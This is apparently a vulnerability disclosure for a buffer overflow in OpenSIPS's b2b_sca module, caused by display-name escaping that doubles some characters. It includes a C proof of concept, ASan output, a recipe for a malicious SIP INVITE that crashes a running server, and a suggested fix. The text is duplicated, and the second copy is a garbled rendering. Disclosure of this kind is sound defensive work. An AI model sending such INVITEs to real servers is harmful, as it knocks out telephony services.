Summary
build_appearanceURI() (modules/b2b_sca/sca_logic.c) sizes its output buffer from the RAW display-name length but writes the EXPANDED length produced by escape_common(), which doubles each ' " \ \0 to two bytes. A SIP From display name with 5+ escapable characters overruns the buffer by up to ~75 bytes with attacker-controlled content, crashing the worker (denial of service).
Root cause
modules/b2b_sca/sca_logic.c:311-349:
if (size > CALL_INFO_APPEARANCE_URI_LEN /* 64 */) {
p = (char *)pkg_malloc(size); /* heap alloc from RAW len */
...
} else {
p = call_info_apperance_uri->s = call_info_apperance_uri_buf; /* static char[64] */
}
if (display->len < 80) {
escaped_display_size = escape_common(escaped_display,
display->s, display->len);
if (escaped_display_size) {
memcpy(p, escaped_display, escaped_display_size); /*
writes EXPANDED len */
p += escaped_display_size; *p = ' '; p++;
}
}
*p = '<'; p++;
memcpy(p, uri->s, uri->len); p += uri->len;
*p = '>'; p++;
escape_common()](strcommon.c:35-67) emits 2 bytes per ' " \ \0. Bytes written = escape_common_len (<= 2*display->len) + uri->len + 3, while the allocation reserves only display->len + uri->len + 7. It overruns whenever the display name has >= 5
escapable characters; the display->len < 80 guard caps the overrun at ~75 bytes.
Two branches: size > 64 overruns the pkg_malloc chunk (common case); size <= 64 overruns the static call_info_apperance_uri_buf[64]. The sibling build_absoluteURI() (sca_logic.c:351) is NOT affected (it copies host/port without expansion).
Reachability
sca_init_request() -> get_appearance_name_addr(msg). With appearance_name_addr_spec unset (the default), this returns msg->from->parsed (b2b_sca.c:488), so display is the inbound INVITE's From display name. parse_to() keeps
backslashes/quotes verbatim (parse_to.c:642-643/704/709), so they reach escape_common() and are doubled. The
From display name is not covered by digest authentication.
Precondition
b2b_sca loaded and sca_init_request() invoked in the routing script (the SCA/BLF feature).
Typical SCA deployments authenticate endpoints, so the realistic attacker is an authenticated subscriber (PR:L); it is unauthenticated (PR:N) only if the SCA route runs before authentication — please adjust the vector to PR:L if your supported
configurations always authenticate first.
Reproduction
Minimal self-contained PoC (escape_common() and build_appearanceURI() copied verbatim from strcommon.c:35-67 and sca_logic.c:311-349, pkg_malloc->malloc).
Build & run:
clang -fsanitize=address -O0 poc.c -o poc && ./poc
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef struct { char *s; int len; } str;
int escape_common(char *dst, const char *src, int src_len) { /* strcommon.c:35 */
int i, j = 0;
if (!dst || !src || src_len <= 0) return 0;
for (i = 0; i < src_len; i++) switch (src[i]) {
case '\'': case '"': case '\\': dst[j++]='\\'; dst[j++]=src[i]; break;
case '\0': dst[j++]='\\'; dst[j++]='0'; break;
default: dst[j++]=src[i];
}
return j;
}
#define CALL_INFO_APPEARANCE_URI_LEN 64
static char call_info_apperance_uri_buf[CALL_INFO_APPEARANCE_URI_LEN];
int build_appearanceURI(str *display, str *uri, str *out) { /* sca_logic.c:311 */
unsigned int size; int esc; char *p; char escaped_display[256];
size = display->len + 5 + uri->len + 2; /* capacity from RAW len */
if (size > CALL_INFO_APPEARANCE_URI_LEN) { p = malloc(size);
if (!p) return -1; out->s = p; }
else p = out->s = call_info_apperance_uri_buf;
if (display->len < 80) {
esc = escape_common(escaped_display, display->s, display->len); /* EXPANDED len */
if (esc) { memcpy(p, escaped_display, esc); p += esc; *p = ' '; p++; } /* overrun */
}
*p='<'; p++;
memcpy(p, uri->s, uri->len); p += uri->len;
*p='>'; p++;
out->len = p - out->s;
return 0;
}
int main(void) {
/* From display name as parse_to() leaves it: '"' + 60 backslashes + '"' */
char dbuf[62]; dbuf[0]='"'; memset(dbuf+1, '\\', 60); dbuf[61]='"';
str display = { dbuf, 62 }; /* 62 escapable chars */
str uri = { "sip:victim@host", 15 };
str out = { 0, 0 };
/* alloc = 62+15+7 = 84 ; escape_common writes 124 -> overruns the 84-byte chunk */
build_appearanceURI(&display, &uri, &out);
printf("out.len=%d\n", out.len);
return 0;
}
Output:
==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 124 at 0x508000000074 thread T0
#1 ... in build_appearanceURI
0x508000000074 is located 0 bytes after 84-byte region
Against a running OpenSIPS: load b2b_sca with appearance_name_addr_spec_param unset and shared_line_spec_param="$fU", call sca_init_request() on INVITE, then send one INVITE whose From display name is a quoted string of 60 backslashes (From: "\\\\...(60)...\\" <sip:a@b>;tag=1). Build with -DDBG_MALLOC or ASan to see the abort in build_appearanceURI() (sca_logic.c:333).
Suggested fix
Size the buffer for the worst-case 2x expansion, or bound-check before each memcpy:
size = 2*display->len + 5 + uri->len + 2; /* escape_common is <= 2x */
or verify (escape_common_len + uri->len + 3) <= capacity before writing.
Reported
Reported by R4mbb of KRsecurity
Summary
build_appearanceURI()(modules/b2b_sca/sca_logic.c) sizes its output buffer from the RAW display-name length but writes the EXPANDED length produced byescape_common(), which doubles each' " \ \0to two bytes. A SIP From display name with 5+ escapable characters overruns the buffer by up to ~75 bytes with attacker-controlled content, crashing the worker (denial of service).Root cause
modules/b2b_sca/sca_logic.c:311-349:
escape_common()](strcommon.c:35-67) emits 2 bytes per' " \ \0. Byteswritten = escape_common_len (<= 2*display->len) + uri->len + 3, while the allocation reserves onlydisplay->len + uri->len + 7. It overruns whenever the display name has>= 5escapable characters; the
display->len < 80guard caps the overrun at ~75 bytes.Two branches:
size > 64overruns thepkg_mallocchunk (common case);size <= 64overruns the staticcall_info_apperance_uri_buf[64]. The siblingbuild_absoluteURI()(sca_logic.c:351) is NOT affected (it copies host/port without expansion).Reachability
sca_init_request()->get_appearance_name_addr(msg). Withappearance_name_addr_specunset (the default), this returnsmsg->from->parsed(b2b_sca.c:488), sodisplayis the inbound INVITE's From display name.parse_to()keepsbackslashes/quotes verbatim (parse_to.c:642-643/704/709), so they reach
escape_common()and are doubled. TheFrom display name is not covered by digest authentication.
Precondition
b2b_scaloaded andsca_init_request()invoked in the routing script (the SCA/BLF feature).Typical SCA deployments authenticate endpoints, so the realistic attacker is an authenticated subscriber (PR:L); it is unauthenticated (PR:N) only if the SCA route runs before authentication — please adjust the vector to PR:L if your supported
configurations always authenticate first.
Reproduction
Minimal self-contained PoC (
escape_common()andbuild_appearanceURI()copied verbatim from strcommon.c:35-67 and sca_logic.c:311-349, pkg_malloc->malloc).Build & run:
clang -fsanitize=address -O0 poc.c -o poc && ./pocOutput:
Against a running OpenSIPS: load b2b_sca with
appearance_name_addr_spec_paramunset andshared_line_spec_param="$fU", call sca_init_request() on INVITE, then send one INVITE whose From display name is a quoted string of 60 backslashes (From: "\\\\...(60)...\\" <sip:a@b>;tag=1). Build with -DDBG_MALLOC or ASan to see the abort inbuild_appearanceURI()(sca_logic.c:333).Suggested fix
Size the buffer for the worst-case 2x expansion, or bound-check before each memcpy:
or verify (
escape_common_len + uri->len + 3) <= capacity before writing.Reported
Reported by R4mbb of KRsecurity